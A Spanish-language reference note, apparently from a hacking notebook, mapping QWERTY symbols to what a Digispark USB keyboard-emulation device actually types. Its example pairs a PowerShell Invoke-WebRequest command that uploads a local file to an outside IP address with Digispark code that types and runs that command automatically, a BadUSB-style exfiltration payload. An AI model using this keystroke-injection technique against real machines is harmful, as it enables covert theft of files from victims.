Lista de signos Digispark
En el dispositivo Digispark
hay muchas veces que los simbolos del teclado no los pilla como realmente son, ya que utiliza otro tipo de teclado a diferencia del QWERTY
, por lo que he creado una lista de simbolos, caracteres, signos, etc... Para que se corresponda con lo que quereis programar en vuestro Digispark
:
------------------LISTA DE SIGNOS DIGISPARK------------------
Signo COMA = ,
Signo PUNTO = .
Signo SLASH(/) = -
Signo GUION = '
Signo IGUAL(=) = ¡
Signo INTERROGACION(?) = _
Signo ESCLAMACION_ABAJO = !
Signo GUION_BAJO(_) = ?
Signo MENOR(<) = ;
Signo MAYOR(>) = :
Signo DOS_PUNTOS = Ñ
Signo PUNTO_COMA = ñ
Signo MAS(+) = ¿
Signo I_INGLESA(&) = /
Signo C_RARA(Ç) = gv
Signo CORCHETES_ABRIR_CERAR([]) = `+
Signo CORCHETES_CIRCULARES_ABRIR_CERRAR({}) = ^*
Signo HASHTAG = ·
Signo ABRIR_CERRAR_PARENTESIS(()) = )=
Signo DOLLAR = $
Signo PORCENTAJE = %
Signo ASTERISCO(*) = (
Signo C_RARA_MINUSCULA(ç) = g
Signo SIMBOLO_ORDINAL_MASCULINO(º) = 5
Signo SIMBOLO_ORDINAL_FEMENINO(ª) = ç
Signo ABECEDARIO_MINUSCULA_a-z bcdefghijklmngopqrstuvwxyz
Signo ABECEDARIO_MAYUSCULA_A-Z = ABCDEFGHIJKLMNgROPQRSTUVXYZ
Signo NUMEROS_0-9 = 0123456789
Signo ELEVADO(^) = &
Signo COMA_FRANCESA(`) = º
Signo ACENTO(´) = f
------------------------------------------------------------------
Hay muchos signos que se quedan como un null
por lo que no estan implementados en la lista, la parte de la columna izquierda corresponde a los signos normales del teclado QWERTY
y la columna de la derecha corresponde al signo del Digispark
.
EJEMPLO:
Si por ejemplo queremos escribir un comando mediante el Digispark
algo tal que asi...
Invoke-WebRequest -Uri "http://10.11.15.5:8080" -Method Post -InFile "test.txt" -ContentType "multipart/form-data"
En la programacion tendria que ser algo tal que asi...
// Escribir el comando Invoke-WebRequest en fragmentos
DigiKeyboard.print("Invoke/WebRequest");
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio
DigiKeyboard.delay(100);
DigiKeyboard.print("/Uri -http");
DigiKeyboard.delay(100);
// Enviar ':' usando SHIFT + .
DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);
DigiKeyboard.delay(100);
DigiKeyboard.print("&&192.168.1.47");
DigiKeyboard.delay(100);
// Enviar ':' usando SHIFT + .
DigiKeyboard.sendKeyStroke(KEY_PERIOD, MOD_SHIFT_LEFT);
DigiKeyboard.delay(100);
DigiKeyboard.print("8000-");
DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio
DigiKeyboard.delay(100);
DigiKeyboard.print("/Method Post ");
DigiKeyboard.delay(100);
DigiKeyboard.print("/InFile ");
DigiKeyboard.delay(100);
DigiKeyboard.print("test.txt");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(0x4F); // 0x4F es el código para la tecla de flecha derecha
DigiKeyboard.sendKeyStroke(KEY_SPACE); // Añadir espacio
DigiKeyboard.delay(100);
DigiKeyboard.print("/ContentType multipart&form/data");
DigiKeyboard.delay(100);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
Tendremos que sustituir cada simbolo de lo que queremos poner por el que interpreta Digispark
.
Last updated